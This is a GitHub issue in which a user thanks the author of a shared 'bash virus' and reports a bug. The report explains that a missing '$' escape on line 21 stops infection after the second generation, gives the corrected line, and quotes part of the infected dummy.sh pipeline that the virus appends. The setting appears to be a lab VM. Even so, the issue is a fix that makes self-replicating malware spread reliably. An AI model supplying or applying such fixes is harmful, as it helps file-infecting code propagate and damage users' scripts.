-
Notifications
You must be signed in to change notification settings - Fork 7
Open
Description
Hey Mr. Arceri,
thank you for sharing the bash virus.
I encountered a little bug in the line 21. It does lack an escape character for the '$' which prevents an infection after the second generation.
echo "tail -n 36 $0 | ...'
should be
echo "tail -n 36 \$0 | ...'
Otherwise, the first 3 ordering commands of the infected file will reference the original virus and not itself.
See the following example of dummy.sh after the execution of the virus in the vagrant vm. Here ./virus.sh. should be $0.
#dummy.sh ... Lorem ipsum dolor sit amet, tail -n 36 ./virus.sh | awk '{ print($NF" "$0) }' | cut -d"@" -f2- | sort -g | cut -d" " -f2- > /tmp/.ls ...
Cheers,
Martin
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels